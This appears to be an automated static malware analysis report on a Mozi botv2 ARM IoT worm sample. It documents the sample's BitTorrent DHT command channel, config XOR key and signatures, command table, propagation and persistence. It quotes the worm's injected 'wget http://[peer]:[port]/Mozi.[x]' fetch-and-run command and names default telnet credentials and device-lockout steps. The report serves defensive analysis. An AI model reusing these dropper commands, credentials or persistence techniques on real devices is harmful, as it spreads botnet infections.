Honeypot capture

mozi (botv2)

C2 verifiedProtocol documented

A static pass recovered ten command-and-control endpoints from a 307,960-byte ARM ELF without running it, and a second decompiler backend agreed on all ten. Eight of those endpoints are the public BitTorrent Mainline DHT bootstrap set. This sample — SHA-256 12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef, statically linked, stripped, classified mozi/botv2 — has no private C2 server. Its command channel, the path an infected machine uses to reach its operator for instructions, is a global peer-to-peer network that every real BitTorrent client also contacts.

The sample builds for armv7 and arm, the signature of a campaign aimed at routers, cameras and other embedded devices, hardware that is rarely patched, rarely monitored and permanently online. It works as a worm, copying itself onward through exposed services with no user action, and as a backdoor, so the operator can return after the initial access is closed. A honeypot sensor network captured it, and the analysis never executed it and never contacted or resolved a recovered endpoint. Consensus re-checked the C2, config-crypto, shell-exec and command-table claims; the persistence, propagation and DDoS findings rest on strings and bounded component reads and were not individually re-verified.

Command and control over public BitTorrent infrastructure

On start the implant pings eight hardcoded nodes on UDP/6881. It then walks the DHT with find_node, 5–99 nodes per iteration. It reaches the operator’s configuration record with get_peers/announce_peer against a node ID whose printable prefix is the [hp] config value, 88888888 by default. The four KRPC verbs it uses — ping, find_node, get_peers, announce_peer — are stamped with a fixed client-version tag, 1:v4:JBls. The node re-bootstraps and re-announces every 900 seconds (0x1ac28). Behind NAT it SSDP-discovers a UPnP IGD and adds a port mapping described as UPNP BT, and it opens its own DHT port with an iptables ACCEPT rule, so the node is reachable inbound.

The profile attaches a caveat to the endpoint list:

Critical caveat — do not blocklist the bootstrap hosts. […] Blocklisting them breaks legitimate traffic and does not stop the bot (it has four DNS names and four raw IPs, and the DHT is global).

Defenders should match the pattern instead, the 1:v4:JBls version tag and the 88888888-prefixed node ID, both documented in protocol_spec.md §6. Two further endpoints came from the decrypted default config and are the values this build ships with. 192[.]168[.]2[.]100 is RFC1918 and the ia[.]51[.]la value is a placeholder analytics URL. A live campaign overwrites both through a signed DHT record, so the profile records them at confidence 0.75 against 0.95 for the bootstrap strings.

“Source” distinguishes values read from the string table from values in the decrypted config; VA is the address the profile anchors each indicator to; the confidence column is the profile’s own.

ValuePortProtoRoleSourceVAConf
dht[.]transmissionbt[.]com6881udpbootstrapstring table0x58c2c0.95
router[.]bittorrent[.]com6881udpbootstrapstring table0x3dd8c0.95
router[.]utorrent[.]com6881udpbootstrapstring table0x3dda80.95
bttracker[.]debian[.]org6881udpbootstrapstring table0x3ddc40.95
212[.]129[.]33[.]596881udpbootstrapstring table0x3dde00.95
82[.]221[.]103[.]2446881udpbootstrapstring table0x3ddf40.95
130[.]239[.]18[.]1596881udpbootstrapstring table0x3de080.95
87[.]98[.]162[.]886881udpbootstrapstring table0x3de1c0.95
192[.]168[.]2[.]10080httpfallback download hostdecrypted config0x589440.75
hxxp[://]ia[.]51[.]la/go1?id=17675125&pu=http%3a%2f%2fv[.]baidu[.]com/80httpdead-drop (click-fraud)decrypted config0x589440.75

Cross-capture correlation reports that 87[.]98[.]162[.]88 appears in two other analysed captures, which 07_correlation.json reads as evidence of a wider campaign. That host is one of the bootstrap IP literals, so the overlap reads as something two other samples shipping the same public bootstrap list would also produce.

The config record’s two layers

The operator’s tasking is a tag-delimited text blob wrapped in two layers, one for confidentiality and one for authenticity. Confidentiality is a 16-byte repeating-key XOR — key 4e665a8f80c8ac238dac4706d54f6f7e at 0x3de2e, applied at 0x151cc as plain[i] = cipher[i] ^ key[i & 0xf]. The key sits immediately after the last bootstrap string, so the extractor locates it without being given an offset. Authenticity is two secp384r1 ECDSA signatures over a SHA-256 digest truncated to six of eight words, verified at 0x12c74 against two hardcoded public keys at 0x58c4c and 0x58c7d; all five curve parameters were matched byte-for-byte against the published P-384 constants, and a monotonic version counter blocks rollback.

Because the binary carries the XOR key but not the operator’s private keys, an analyst can decode any captured record offline and cannot forge one. The emulator answers KRPC and emits a correctly XOR-encrypted, correctly tagged record, exercising the parser and the signature-rejection path, but it “cannot forge a config the sample will accept” — the operator’s private keys are not in the binary — so can_emulate_server is false and the sample cannot be detonated against a fake C2. protocol_spec.md documents the wire format well enough to decode a record, and three test vectors replay through the dissector.

Config tags and their handlers

The profile’s command table maps eight config tags to handlers, a count the run’s results field gives as four documented C2 commands. [rn]/run: reaches system()→execve at 0x19db8, so whoever holds the signing keys can run any shell command on every infected device.

TagHandlerBehaviour
[rn] / run:0x199c0→0x19db8arbitrary shell command via system()→execve
[dip]0x13d90set next-stage download host:port
[dr]0x17bf4download-and-run task list
[ud]0x17910self-update and re-exec
[hj]0x1d4e4HTTP hijack / ad injection (payload transform unresolved)
[nd]0x19e4cadd DHT nodes
[cpu]0x199c0architecture gate
[count]0x16bd4set click-fraud / traffic URL

How the sample spreads

The claims in this section come from strings and bounded component reads; the consensus round did not cover them. Propagation runs beside the C2 loop. Eleven embedded IoT n-day exploits at 0x53a6c — CVE-2017-17215 for Huawei, CVE-2018-10561/10562 for GPON, TR-064 SetNTPServers, plus NETGEAR, D-Link, JAWS, Vacron and Realtek cases — each inject wget http://[peer]:[port]/Mozi.[x]. A 60-entry default-password list at 0x3ffa8, including the Chinese-ISP accounts CMCCAdmin, e8telnet and telnetadmin, drives telnet brute-forcing with busybox dropper chains, a dropper being a program that writes another program to disk and runs it. The implant serves thirteen per-architecture ELF payloads (/Mozi.a through /Mozi.7; the results field counts twelve) over HTTP from the infected device at 0x1f190, masquerading as nginx, and fingerprints the device with uname and /proc/cpuinfo at 0x39f60 to select the matching one for the [cpu] tag. the [peer] in the injected wget command reads as that payload server on the infecting device. A Mirai-derived DDoS module at 0x21774 supplies HTTP flood, Source-engine query reflection and DNS attacks behind an XOR-0x22 string table. The cnc[.]changeme[.]com and report[.]changeme[.]com strings recovered from that table are Mirai’s compiled-in placeholders, so the profile deliberately leaves them out of the endpoint list.

Persistence and remediation lockout

These indicators also rest on strings and bounded component reads outside the consensus claim set. The implant installs itself under several start-up paths and process names so it survives reboot. Root gets the full feature set, and the DHT and DDoS core degrade but still run without it. The install writes /usr/networks through an atomic replace, /usr/networkstmp then mv -f. It persists via /etc/init.d/S95baby.sh plus rc.d, rcS.d and rc.local, and via an OpenWrt overlayfs remount-rw path at 0x1697c. It keeps peer and config state in .ipds, .ips, .config, confirmed.list and new.list under world-writable directories, and renames its process to dropbear, sshd or init via PR_SET_NAME.

The lockout at 0x1631c then drops traffic on 22, 23, 2323, 7547, 35000, 50023 and 58000, kills telnetd, utelnetd and scfgmgr, and sabotages TR-069 management by pointing the ACS URL at 127.0.0.1 and rewriting hw_ctree.xml’s ConnectionRequestPassword to acsMozi with DB MgtServer username notitms. A dedicated thread at 0x1f49c holds ten /dev/watchdog* paths open by ioctl so the hardware watchdog cannot reboot the implant away. iocs.csv flags the TR-069 pair as the durable, highly specific host indicator. Treat a device that spoke this protocol as fully compromised and reflash it.

What the byte sweep turned up

The profile anchors every indicator above to a file offset and corroborates it across strings and rabin2 output. A separate byte sweep of the whole file then turned up six network indicators the profile does not list: 114[.]114[.]114[.]114, 8[.]8[.]8[.]8, hxxp[://]purenetworks[.]com/HNAP1/ and three schemas[.]xmlsoap[.]org SOAP namespace URLs.

The deep-static pass recovered a third obfuscation layer, a configuration block under single-byte XOR key 0x2f that yields 888 config strings, distinct from the 16-byte config key and the DDoS table’s 0x22. It also reported an embedded telnet wordlist of five pairs, with examples service:WANIPConnection:1">< and service:Time:1&qu; those two reads as UPnP SOAP fragments.

Absent anti-analysis checks

The sample spends its evasion code on surviving on the device and excluding competitors. Across its 124 syscall sites ptrace never appears, and the sample carries no VM check, no timing check and no mprotect — nothing is unpacked into executable memory, and the file reads exactly as it sits on disk.

What the static pass did not resolve

The exact DHT rendezvous key is partly randomised beyond the recovered [hp] prefix, so c2_client.py emits well-formed queries although it does not have the precise key. The 122-byte [hj] payload template at 0x3e7ac resisted single-byte XOR, add/sub, repeating-key XOR at periods 1 through 16, and the recovered config key. A 32-symbol custom alphabet at 0x3efa8 (sub_208b0, two callers) has no assigned purpose yet. The candidate ELF at offset 0x382cc was left uncarved and is worth analysing separately, and the /Mozi.[x] payload hashes were not extracted within budget. Timing, retry and post-execution activity are outside what a static pass can show.

Where the artifacts live

The dynamic capture that has not run

This run did not perform a dynamic capture, so the published DHT rendezvous key is unconfirmed and whether any of the recovered infrastructure is still live is unknown. Running that capture in the isolated lane would settle both.

Family
mozi
First seen
September 30, 2026
Vector
Runs as a ddos-bot/worm; the entry vector is not established by static analysis
Format
301 KB armv7 ELF 32-bit LSB executable
VirusTotal
52/74 engines: trojan.mirai/mozi
Tags
armv7 · backdoor · ddos-bot · elf · udp · worm
Sample
By request. Email security@kinryu.sh

SHA-256

  • 12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef as captured

Analysis performed using an automatic malware analysis pipeline using Binary Ninja

← All captures